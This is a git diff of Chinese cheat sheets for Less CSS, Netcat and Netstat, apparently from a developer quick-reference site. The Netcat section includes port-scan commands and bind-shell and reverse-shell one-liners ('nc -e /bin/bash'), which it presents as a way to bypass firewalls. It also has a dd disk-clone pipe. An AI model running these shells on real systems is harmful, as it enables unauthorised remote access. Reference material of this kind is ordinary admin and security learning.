@media (min-width: 768px) {
|
||||
width: 600px;
|
||||
@media (min-resolution: 192dpi) {
|
||||
background-image: url(/img/icon2x.png);
|
||||
}
|
||||
}
|
||||
@media (min-width: 1280px) {
|
||||
width: 800px;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
.component {
|
||||
width: 300px;
|
||||
}
|
||||
@media (min-width: 768px) {
|
||||
.component {
|
||||
width: 600px;
|
||||
}
|
||||
}
|
||||
@media (min-width: 768px) and (min-resolution: 192dpi) {
|
||||
.component {
|
||||
background-image: url(/img/icon2x.png);
|
||||
}
|
||||
}
|
||||
@media (min-width: 1280px) {
|
||||
.component {
|
||||
width: 800px;
|
||||
}
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 运算(Operations)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
算术运算符 `+`、`-`、`*`、`/` 对任何数字、颜色或变量进行运算
|
||||
|
||||
```less
|
||||
@conversion-1: 5cm + 10mm; // 结果是 6cm
|
||||
@conversion-2: 2 - 3cm - 5mm; // 结果 -1.5cm
|
||||
@incompatible-units: 2 + 5px - 3cm;
|
||||
// 结果是 4px
|
||||
@base: 5%;
|
||||
@filler: @base * 2; // 结果是 10%
|
||||
@other: @base + @filler; // 结果是 15%
|
||||
|
||||
@base: 2cm * 3mm; // 结果是 6cm
|
||||
@color: (#224488 / 2); // 结果是 #112244
|
||||
background-color: #112244 + #111;
|
||||
// 结果是 #223355
|
||||
@color: #222 / 2;
|
||||
// 结果是 `#222 / 2`, not #111
|
||||
background-color: (#FFFFFF / 16);
|
||||
// 结果是 #101010
|
||||
```
|
||||
|
||||
#### calc() 特例
|
||||
|
||||
为了与 `CSS` 保持兼容，`calc()` 并不对数学表达式进行计算，但是在嵌套函数中会计算变量和数学公式的值
|
||||
|
||||
```less
|
||||
@var: 50vh/2;
|
||||
width: calc(50% + (@var - 20px));
|
||||
// 结果是 calc(50% + (25vh - 20px))
|
||||
```
|
||||
|
||||
### 转义(Escaping)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```less
|
||||
@min768: ~"(min-width: 768px)";
|
||||
.element {
|
||||
@media @min768 {
|
||||
font-size: 1.2rem;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
@media (min-width: 768px) {
|
||||
.element {
|
||||
font-size: 1.2rem;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
从 Less 3.5 开始，可以简写为
|
||||
|
||||
```less
|
||||
@min768: (min-width: 768px);
|
||||
.element {
|
||||
@media @min768 {
|
||||
font-size: 1.2rem;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
在 Less 3.5+ 版本中，许多以前需要“引号转义”的情况就不再需要了
|
||||
|
||||
### 函数(Functions)
|
||||
|
||||
```less
|
||||
@base: #f04615;
|
||||
@width: 0.5;
|
||||
|
||||
.class {
|
||||
width: percentage(@width); // 返回 `50%`
|
||||
color: saturate(@base, 5%);
|
||||
background-color:
|
||||
spin(lighten(@base, 25%), 8);
|
||||
}
|
||||
```
|
||||
|
||||
Less 内置了多种函数用于转换颜色、处理字符串、算术运算等
|
||||
|
||||
### 命名空间和访问符
|
||||
|
||||
```less
|
||||
#bundle() {
|
||||
.button {
|
||||
display: block;
|
||||
border: 1px solid black;
|
||||
background-color: grey;
|
||||
&:hover {
|
||||
background-color: white;
|
||||
}
|
||||
}
|
||||
.tab { ... }
|
||||
.citation { ... }
|
||||
}
|
||||
```
|
||||
|
||||
把 `.button` 类混合到 `#header a` 中，我们可以这样做
|
||||
|
||||
```less
|
||||
#header a {
|
||||
color: orange;
|
||||
#bundle.button();
|
||||
// 还可以书写为 #bundle > .button 形式
|
||||
}
|
||||
```
|
||||
|
||||
### 映射(Maps)
|
||||
|
||||
```less
|
||||
#colors() {
|
||||
primary: blue;
|
||||
secondary: green;
|
||||
}
|
||||
|
||||
.button {
|
||||
color: #colors[primary];
|
||||
border: 1px solid #colors[secondary];
|
||||
}
|
||||
```
|
||||
|
||||
输出符合预期(css)：
|
||||
|
||||
```css
|
||||
.button {
|
||||
color: blue;
|
||||
border: 1px solid green;
|
||||
}
|
||||
```
|
||||
|
||||
另见：[映射(Maps)](https://lesscss.org/features/#maps-feature)
|
||||
|
||||
### 作用域（Scope）
|
||||
|
||||
```less
|
||||
@var: red;
|
||||
|
||||
#page {
|
||||
@var: white;
|
||||
#header {
|
||||
color: @var; // white
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
和上面实例代码相同
|
||||
|
||||
```less
|
||||
@var: red;
|
||||
|
||||
#page {
|
||||
#header {
|
||||
color: @var; // white
|
||||
}
|
||||
@var: white;
|
||||
}
|
||||
```
|
||||
|
||||
另见：[懒加载](https://lesscss.org/features/#variables-feature-lazy-loading)
|
||||
|
||||
### 注释（Comments）
|
||||
|
||||
```less
|
||||
/* 一个块注释
|
||||
* style comment! */
|
||||
@var: red;
|
||||
|
||||
// 这一行被注释掉了！
|
||||
@var: white;
|
||||
```
|
||||
|
||||
块注释和行注释都可以使用
|
||||
|
||||
### 导入（Importing）
|
||||
|
||||
```less
|
||||
@import "library"; // library.less
|
||||
@import "typo.css";
|
||||
```
|
||||
|
||||
另见：[导入(Importing)的知识](https://lesscss.org/features/#imports-feature)
|
||||
|
||||
### Extend
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```less
|
||||
nav ul {
|
||||
&:extend(.inline);
|
||||
background: blue;
|
||||
}
|
||||
.inline {
|
||||
color: red;
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
nav ul {
|
||||
background: blue;
|
||||
}
|
||||
.inline,
|
||||
nav ul {
|
||||
color: red;
|
||||
}
|
||||
```
|
||||
|
||||
函数
|
||||
---
|
||||
|
||||
### 逻辑函数 if & boolean
|
||||
|
||||
```less
|
||||
@bg: black;
|
||||
@bg-light: boolean(luma(@bg) > 50%);
|
||||
|
||||
div {
|
||||
background: @bg;
|
||||
color: if(@bg-light, black, white);
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
div {
|
||||
background: black;
|
||||
color: white;
|
||||
}
|
||||
```
|
||||
|
||||
### 字符串函数
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`escape` | 将 [URL 编码](http://en.wikipedia.org/wiki/Percent-encoding)应用于输入字符串中的特殊字符
|
||||
`e` | 字符串转义
|
||||
`%` | 第一个参数是带有占位符的字符串
|
||||
|
||||
```less
|
||||
escape('a=1') // 输出 a%3D1
|
||||
|
||||
@mscode: "ms:alwaysHasItsOwnSyntax.For.Stuff()"
|
||||
filter: e(@mscode);
|
||||
// 输出 filter: ms:alwaysHasItsOwnSyntax.For.Stuff();
|
||||
|
||||
format-a-d: %("repetitions: %a file: %d", 1 + 2, "directory/file.less");
|
||||
// 输出 format-a-d: "repetitions: 3 file: "directory/file.less"";
|
||||
```
|
||||
|
||||
### 替换字符串 replace
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```less
|
||||
replace("Hello, Mars?", "Mars\?", "Earth!");
|
||||
replace("One + one = 4", "one", "2", "gi");
|
||||
replace('This is a string.', "(string)\.$", "new $1.");
|
||||
replace(~"bar-1", '1', '2');
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```
|
||||
"Hello, Earth!";
|
||||
"2 + 2 = 4";
|
||||
'This is a new string.';
|
||||
bar-2;
|
||||
```
|
||||
|
||||
### length
|
||||
|
||||
```less
|
||||
@list: "banana", "tomato", "potato", "peach";
|
||||
n: length(@list);
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
n: 4;
|
||||
```
|
||||
|
||||
返回值列表中的元素数
|
||||
|
||||
### extract
|
||||
|
||||
```less
|
||||
@list: apple, pear, coconut, orange;
|
||||
value: extract(@list, 3);
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
value: coconut;
|
||||
```
|
||||
|
||||
返回列表中指定位置的值
|
||||
|
||||
### range
|
||||
|
||||
```less
|
||||
value: range(4);
|
||||
// 输出 value: 1 2 3 4;
|
||||
value: range(10px, 30px, 10);
|
||||
// 输出 value: 10px 20px 30px;
|
||||
```
|
||||
|
||||
生成跨越一系列值的列表
|
||||
|
||||
### each
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
```less
|
||||
@selectors: blue, green, red;
|
||||
|
||||
each(@selectors, {
|
||||
.sel-@{value} {
|
||||
a: b;
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
.sel-blue {
|
||||
a: b;
|
||||
}
|
||||
.sel-green {
|
||||
a: b;
|
||||
}
|
||||
.sel-red {
|
||||
a: b;
|
||||
}
|
||||
```
|
||||
|
||||
每个列表成员的每个规则集都绑定到 `@value`、`@key` 和 `@index` 变量
|
||||
|
||||
```less
|
||||
@set: {
|
||||
one: blue;
|
||||
two: green;
|
||||
three: red;
|
||||
}
|
||||
.set {
|
||||
each(@set, {
|
||||
@{key}-@{index}: @value;
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
.set {
|
||||
one-1: blue;
|
||||
two-2: green;
|
||||
three-3: red;
|
||||
}
|
||||
```
|
||||
|
||||
将规则集的评估绑定到列表的每个成员
|
||||
|
||||
### each()
|
||||
|
||||
```less
|
||||
set-2() {
|
||||
one: blue;
|
||||
two: green;
|
||||
three: red;
|
||||
}
|
||||
.set-2 {
|
||||
// 调用 mixin 并迭代每个规则
|
||||
each(.set-2(), .(@v, @k, @i) {
|
||||
@{k}-@{i}: @v;
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
.set-2 {
|
||||
one-1: blue;
|
||||
two-2: green;
|
||||
three-3: red;
|
||||
}
|
||||
```
|
||||
|
||||
### 使用 `range` 和 `each` 创建一个 `for` 循环
|
||||
|
||||
```less
|
||||
each(range(4), {
|
||||
.col-@{value} {
|
||||
height: (@value * 50px);
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
.col-1 {
|
||||
height: 50px;
|
||||
}
|
||||
.col-2 {
|
||||
height: 100px;
|
||||
}
|
||||
.col-3 {
|
||||
height: 150px;
|
||||
}
|
||||
.col-4 {
|
||||
height: 200px;
|
||||
}
|
||||
```
|
||||
|
||||
### 数学函数
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`ceil(2.4)` _(输出 3)_ | 向上舍入到下一个最大整数 [#](https://lesscss.org/functions/#math-functions-ceil)
|
||||
`floor(2.6)` _(输出 2)_ | 向下舍入到下一个最小整数 [#](https://lesscss.org/functions/#math-functions-floor)
|
||||
`percentage(0.5)` _(输出 50%)_ | 将浮点数转换为百分比字符串 [#](https://lesscss.org/functions/#math-functions-floor)
|
||||
`round(1.67)` _(输出 2)_ | 应用舍入 [#](https://lesscss.org/functions/#math-functions-round)
|
||||
`sqrt(25cm)` _(输出 5cm)_ | 计算数字的平方根。保持单位不变 [#](https://lesscss.org/functions/#math-functions-sqrt)
|
||||
`abs(25cm)` _(输出 25cm)_ | 计算数字的绝对值。 保持单位不变 [#](https://lesscss.org/functions/#math-functions-abs)
|
||||
`sin(1deg)` _(输出 0.01745240643728351)_ | 计算正弦函数 [#](https://lesscss.org/functions/#math-functions-sin)
|
||||
`asin(-0.8414709848078965)` _(输出 -1rad)_ | 计算反正弦（正弦的倒数）函数 [#](https://lesscss.org/functions/#math-functions-asin)
|
||||
`cos(1deg)` _(输出 0.9998476951563913)_ | 计算余弦函数 [#](https://lesscss.org/functions/#math-functions-cos)
|
||||
`acos(0.5403023058681398)` _(输出 1rad)_ | 计算反余弦（余弦的倒数）函数 [#](https://lesscss.org/functions/#math-functions-acos)
|
||||
`tan(1deg)` _(输出 0.017455064928217585)_ | 计算正切函数 [#](https://lesscss.org/functions/#math-functions-tan)
|
||||
`atan(-1.5574077246549023)` _(输出 -1rad)_ | 计算反正切（正切的倒数）函数 [#](https://lesscss.org/functions/#math-functions-atan)
|
||||
`pi()` _(输出 3.141592653589793)_ | π (pi) [#](https://lesscss.org/functions/#math-functions-pi)
|
||||
`pow(0cm, 0px)` _(输出 1cm)_ | 返回第一个参数的第二个参数次幂的值 [#](https://lesscss.org/functions/#math-functions-pow)
|
||||
`mod(11cm, 6px)` _(输出 5cm)_ | 返回第一个参数模数第二个参数的值 [#](https://lesscss.org/functions/#math-functions-mod)
|
||||
`min(5, 10)` _(输出 5)_ | 返回一个或多个值中的最小值 [#](https://lesscss.org/functions/#math-functions-min)
|
||||
`max(5, 10)` _(输出 10)_ | 返回一个或多个值中的最大值 [#](https://lesscss.org/functions/#math-functions-min)
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
### 颜色定义函数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`rgb`| [#](https://lesscss.org/functions/#color-definition-rgb)
|
||||
`rgba`| [#](https://lesscss.org/functions/#color-definition-rgba)
|
||||
`argb`| [#](https://lesscss.org/functions/#color-definition-argb)
|
||||
`hsl`| [#](https://lesscss.org/functions/#color-definition-hsl)
|
||||
`hsla`| [#](https://lesscss.org/functions/#color-definition-hsla)
|
||||
`hsv`| [#](https://lesscss.org/functions/#color-definition-hsv)
|
||||
`hsva`| [#](https://lesscss.org/functions/#color-definition-hsva)
|
||||
|
||||
### 类型函数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`isnumber`| 值是否为数字 [#](https://lesscss.org/functions/#type-functions-isnumber)
|
||||
`isstring`| 值是否为字符串 [#](https://lesscss.org/functions/#type-functions-isstring)
|
||||
`iscolor`| 值是否为颜色值 [#](https://lesscss.org/functions/#type-functions-iscolor)
|
||||
`iskeyword`| 值是否为 keyword [#](https://lesscss.org/functions/#type-functions-iskeyword)
|
||||
`isurl`| 值是否为 url 值 [#](https://lesscss.org/functions/#type-functions-isurl)
|
||||
`ispixel`| 值是否为像素值 [#](https://lesscss.org/functions/#type-functions-ispixel)
|
||||
`isem`| 值是否为 em 值 [#](https://lesscss.org/functions/#type-functions-isem)
|
||||
`ispercentage`| 值是否为 百分百 值 [#](https://lesscss.org/functions/#type-functions-ispercentage)
|
||||
`isunit`| 值是是否为指定单位的数字 [#](https://lesscss.org/functions/#type-functions-isunit)
|
||||
`isruleset`| 值是否为规则集 [#](https://lesscss.org/functions/#type-functions-isruleset)
|
||||
`isdefined`| 值是否为 defined [#](https://lesscss.org/functions/#type-functions-isdefined)
|
||||
|
||||
### 杂项函数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`color`| [#](https://lesscss.org/functions/#misc-functions-color)
|
||||
`image-size`| [#](https://lesscss.org/functions/#misc-functions-image-size)
|
||||
`image-width`| [#](https://lesscss.org/functions/#misc-functions-image-width)
|
||||
`image-height`| [#](https://lesscss.org/functions/#misc-functions-image-height)
|
||||
`convert`| [#](https://lesscss.org/functions/#misc-functions-convert)
|
||||
`data-uri`| [#](https://lesscss.org/functions/#misc-functions-data-uri)
|
||||
`default`| [#](https://lesscss.org/functions/#misc-functions-default)
|
||||
`unit`| [#](https://lesscss.org/functions/#misc-functions-unit)
|
||||
`get-unit`| [#](https://lesscss.org/functions/#misc-functions-get-unit)
|
||||
`svg-gradient`| [#](https://lesscss.org/functions/#misc-functions-svg-gradient)
|
||||
|
||||
### 颜色通道函数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`hue`| [#](https://lesscss.org/functions/#color-channel-hue)
|
||||
`saturation`| [#](https://lesscss.org/functions/#color-channel-saturation)
|
||||
`lightness`| [#](https://lesscss.org/functions/#color-channel-lightness)
|
||||
`hsvhue`| [#](https://lesscss.org/functions/#color-channel-hsvhue)
|
||||
`hsvsaturation`| [#](https://lesscss.org/functions/#color-channel-hsvsaturation)
|
||||
`hsvvalue`| [#](https://lesscss.org/functions/#color-channel-hsvvalue)
|
||||
`red`| [#](https://lesscss.org/functions/#color-channel-red)
|
||||
`green`| [#](https://lesscss.org/functions/#color-channel-green)
|
||||
`blue`| [#](https://lesscss.org/functions/#color-channel-blue)
|
||||
`alpha`| [#](https://lesscss.org/functions/#color-channel-alpha)
|
||||
`luma`| [#](https://lesscss.org/functions/#color-channel-luma)
|
||||
`luminance`| [#](https://lesscss.org/functions/#color-channel-luminance)
|
||||
|
||||
### 色彩运算函数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`saturate`| [#](https://lesscss.org/functions/#color-operations-saturate)
|
||||
`desaturate`| [#](https://lesscss.org/functions/#color-operations-desaturate)
|
||||
`lighten`| [#](https://lesscss.org/functions/#color-operations-lighten)
|
||||
`darken`| [#](https://lesscss.org/functions/#color-operations-darken)
|
||||
`fadein`| [#](https://lesscss.org/functions/#color-operations-fadein)
|
||||
`fadeout`| [#](https://lesscss.org/functions/#color-operations-fadeout)
|
||||
`fade`| [#](https://lesscss.org/functions/#color-operations-fade)
|
||||
`spin`| [#](https://lesscss.org/functions/#color-operations-spin)
|
||||
`mix`| [#](https://lesscss.org/functions/#color-operations-mix)
|
||||
`tint`| [#](https://lesscss.org/functions/#color-operations-tint)
|
||||
`shade`| [#](https://lesscss.org/functions/#color-operations-shade)
|
||||
`greyscale`| [#](https://lesscss.org/functions/#color-operations-greyscale)
|
||||
`contrast`| [#](https://lesscss.org/functions/#color-operations-contrast)
|
||||
|
||||
### 颜色混合功能
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`multiply`| [#](https://lesscss.org/functions/#color-blending-multiply)
|
||||
`screen`| [#](https://lesscss.org/functions/#color-blending-screen)
|
||||
`overlay`| [#](https://lesscss.org/functions/#color-blending-overlay)
|
||||
`softlight`| [#](https://lesscss.org/functions/#color-blending-softlight)
|
||||
`hardlight`| [#](https://lesscss.org/functions/#color-blending-hardlight)
|
||||
`difference`| [#](https://lesscss.org/functions/#color-blending-difference)
|
||||
`exclusion`| [#](https://lesscss.org/functions/#color-blending-exclusion)
|
||||
`average`| [#](https://lesscss.org/functions/#color-blending-average)
|
||||
`negation`| [#](https://lesscss.org/functions/#color-blending-negation)
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [Less.js 官网](http://lesscss.org) _(lesscss.org)_
|
||||
- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
|
||||
- [Stylus 备忘清单](./stylus.md) _(jaywcjlove.github.io)_
|
||||
- [在线编译预览](http://lesscss.org/less-preview/#eyJjb2RlIjoiI2xpYigpIHtcbiAgICAuY29sb3JzKCkge1xuICAgICAgQHByaW1hcnk6IGJsdWU7XG4gICAgICBAc2Vjb25kYXJ5OiBncmVlbjtcbiAgICB9XG4gICAgLnJ1bGVzKEBzaXplKSB7XG4gICAgICBib3JkZXI6IEBzaXplIHNvbGlkIHdoaXRlO1xuICAgIH1cbiAgfVxuICBcbiAgLmJveCB3aGVuICgjbGliLmNvbG9yc1tAcHJpbWFyeV0gPSBibHVlKSB7XG4gICAgd2lkdGg6IDEwMHB4O1xuICAgIGhlaWdodDogKCR3aWR0aCAvIDIpO1xuICB9XG4gIFxuICAuYmFyOmV4dGVuZCguYm94KSB7XG4gICAgQG1lZGlhIChtaW4td2lkdGg6IDYwMHB4KSB7XG4gICAgICB3aWR0aDogMjAwcHg7XG4gICAgICAjbGliLnJ1bGVzKDFweCk7XG4gICAgfVxuICB9IiwiYWN0aXZlVmVyc2lvbiI6IjQueCJ9) _(lesscss.org)_
|
||||
231
docs/netcat.md
Normal file
231
docs/netcat.md
Normal file
@ -0,0 +1,231 @@
|
||||
Netcat 备忘清单
|
||||
===
|
||||
|
||||
该备忘单提供了在 Linux 和 Unix 上使用 Netcat 的各种方法。
|
||||
|
||||
入门
|
||||
------
|
||||
<!--rehype:body-class=cols-5-->
|
||||
|
||||
### 用法
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
连接到位于任何地方的主机
|
||||
|
||||
```shell
|
||||
$ nc [options] [host] [port]
|
||||
```
|
||||
|
||||
监听传入连接
|
||||
|
||||
```shell
|
||||
$ nc -lp port [host] [port]
|
||||
```
|
||||
|
||||
### 选项示例
|
||||
<!--rehype:wrap-class=col-span-3 row-span-2-->
|
||||
|
||||
|
||||
选项 | 示例 | 说明
|
||||
:- | :- | :-
|
||||
`-h` | nc -h | 帮助
|
||||
`-z` | nc -z 192.168.1.9 1-100 | 端口扫描主机或 `IP` 地址
|
||||
`-v` | nc -zv 192.168.1.9 1-100 | 提供详细输出
|
||||
`-n` | nc -zn 192.168.1.9 1-100 | 通过禁用 `DNS` 解析进行快速扫描
|
||||
`-l` | nc -lp 8000 | `TCP` 侦听模式 _(用于入站连接)_
|
||||
`-w` | nc -w 180 192.168.1.9 8000 | 定义超时值
|
||||
`-k` | nc -kl 8000 | 断线后继续收听
|
||||
`-u` | nc -u 192.168.1.9 8000 | 使用 `UDP` 而不是 `TCP`
|
||||
`-q` | nc -q 1 192.168.1.9 8000 | 客户在 `EOF` 后熬夜
|
||||
`-4` | nc -4 -l 8000 | 仅限 `IPv4`
|
||||
`-6` | nc -6 -l 8000 | 仅限 `IPv6`
|
||||
|
||||
|
||||
### 聊天客户端-服务器
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
Netcat 示例
|
||||
--------
|
||||
|
||||
### Banner 抓取
|
||||
|
||||
```shell
|
||||
$ nc website.com 80
|
||||
GET index.html HTTP/1.1
|
||||
HEAD / HTTP/1.1
|
||||
```
|
||||
|
||||
或者
|
||||
|
||||
```shell
|
||||
echo "" | nc -zv -wl 192.168.1.1 801-805
|
||||
```
|
||||
|
||||
### 端口扫描
|
||||
|
||||
扫描 `21` 到 `25` 之间的端口
|
||||
|
||||
```shell
|
||||
$ nc -zvn 192.168.1.1 21-25
|
||||
```
|
||||
|
||||
扫描端口 `22`、`3306` 和 `8080`
|
||||
|
||||
```shell
|
||||
$ nc -zvn 192.168.1.1 22 3306 8080
|
||||
```
|
||||
|
||||
### 代理和端口转发
|
||||
|
||||
```shell
|
||||
$ nc -lp 8001 -c "nc 127.0.0.1 8000"
|
||||
```
|
||||
|
||||
或者
|
||||
|
||||
```shell
|
||||
$ nc -l 8001 | nc 127.0.0.1 8000
|
||||
```
|
||||
|
||||
创建从一个本地端口到另一个本地端口的隧道
|
||||
|
||||
### 下载文件
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000 < file.txt
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc -nv 192.168.1.9 8000 > file.txt
|
||||
```
|
||||
|
||||
假设您想将文件 `file.txt` 从服务器 A 传输到客户端 B。
|
||||
|
||||
### 上传文件
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000 > file.txt
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000 < file.txt
|
||||
```
|
||||
|
||||
假设您想将文件 `file.txt` 从客户端 `B` 传输到服务器 `A`
|
||||
|
||||
### 目录传输
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ tar -cvf – dir_name | nc -l 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc -n 192.168.1.9 8000 | tar -xvf -
|
||||
```
|
||||
|
||||
假设您想通过网络将目录从 `A` 传输到 `B`
|
||||
|
||||
### 加密传输
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
在通过网络传输之前加密数据
|
||||
|
||||
### 克隆
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ dd if=/dev/sda | nc -l 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
|
||||
```
|
||||
|
||||
克隆 linux PC 非常简单。假设你的系统盘是 /dev/sda
|
||||
|
||||
### 视频流
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ cat video.avi | nc -l 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell {.wrap}
|
||||
$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -
|
||||
```
|
||||
|
||||
使用 netcat 流式传输视频
|
||||
|
||||
### 远程 shell
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000 -e /bin/bash
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
我们已经使用 `telnet` 和 `ssh` 使用远程 `Shell`，但是如果它们没有安装并且我们没有安装它们的权限，那么我们也可以使用 `netcat` 创建远程 `shell`
|
||||
|
||||
### 逆转 shell
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000 -v -e /bin/bash
|
||||
```
|
||||
|
||||
反向 `shell` 通常用于绕过防火墙限制，例如阻止入站连接
|
||||
209
docs/netstat.md
Normal file
209
docs/netstat.md
Normal file
@ -0,0 +1,209 @@
|
||||
Netstat 备忘清单
|
||||
===
|
||||
|
||||
此快速参考备忘单提供了各种使用 netstat 命令的方法
|
||||
|
||||
入门
|
||||
-----
|
||||
|
||||
### 入门实例
|
||||
|
||||
端口 80 上的所有连接
|
||||
|
||||
```shell
|
||||
$ netstat -anp | grep :80
|
||||
```
|
||||
|
||||
网络统计帮助
|
||||
|
||||
```shell
|
||||
$ netstat -h
|
||||
```
|
||||
|
||||
### 监听
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -ltunp` | 所有监听端口
|
||||
`netstat -ltn` | 监听 TCP 端口
|
||||
`netstat -lun` | 监听 UDP 端口
|
||||
`netstat -lx` | 监听 Unix 端口
|
||||
`netstat -lt` | 仅列出侦听 TCP 端口
|
||||
`netstat -lu` | 仅列出侦听 UDP 端口
|
||||
`netstat -l` | 列出所有监听条件
|
||||
|
||||
### 连接
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -a` | 所有连接
|
||||
`netstat -at` | 所有 TCP 连接
|
||||
`netstat -au` | 所有 UDP 连接
|
||||
`netstat -ant` | 显示没有反向 DNS 查找的 IP 地址
|
||||
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat` | 活动连接
|
||||
`netstat -a` | 所有连接
|
||||
`netstat -at` | 所有 TCP 连接
|
||||
`netstat -au` | 所有 UDP 连接
|
||||
`netstat -ant` | 显示没有反向 DNS 查找的 IP 地址
|
||||
`netstat -tnl` | 监听 TCP 端口
|
||||
`netstat -unl` | 监听 UDP 端口
|
||||
|
||||
|
||||
### 网络
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -i` | 显示网络接口
|
||||
`netstat -ie` | 显示网络接口扩展信息
|
||||
`netstat -n` | 仅显示 IP 地址
|
||||
`netstat -F` | 尽可能显示 IP 地址的域名
|
||||
|
||||
### 路由
|
||||
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -r` | 显示路由表
|
||||
`netstat -rn` | 显示路由表，不解析主机
|
||||
|
||||
### 统计数据
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -s` | 显示统计信息
|
||||
`netstat -st` | 显示 TCP 统计信息
|
||||
`netstat -su` | 显示 UDP 统计信息
|
||||
`netstat -ltpe` | 使用进程信息和扩展信息显示 TCP 的侦听连接
|
||||
`netstat -tp` | 显示带有 PID 编号的服务名称
|
||||
`sudo netstat -nlpt` | 列出进程名称/PID 和用户 ID
|
||||
`netstat -nlptue` | 所有带有 PID 和扩展信息的侦听端口
|
||||
`netstat -M` | 显示伪装的连接
|
||||
|
||||
### 显示没有域名的 TCP 连接
|
||||
|
||||
```bash
|
||||
$ netstat --tcp --numeric
|
||||
```
|
||||
|
||||
### 显示活动/已建立的连接
|
||||
|
||||
```bash
|
||||
$ netstat -atnp | grep ESTA
|
||||
```
|
||||
|
||||
### 获取活动连接的连续列表
|
||||
|
||||
```bash
|
||||
$ watch -d -n0 "netstat -atnp | grep ESTA"
|
||||
```
|
||||
|
||||
### 显示到特定端口的所有打开连接
|
||||
|
||||
```bash
|
||||
$ netstat -anp | grep":"
|
||||
```
|
||||
|
||||
插入`端口`号（上图）代替冒号 `:`
|
||||
|
||||
### 检查服务是否正在运行
|
||||
|
||||
```bash
|
||||
$ sudo netstat -aple | grep ntp
|
||||
```
|
||||
|
||||
你可以用`http`、`smtp`代替`ntp`
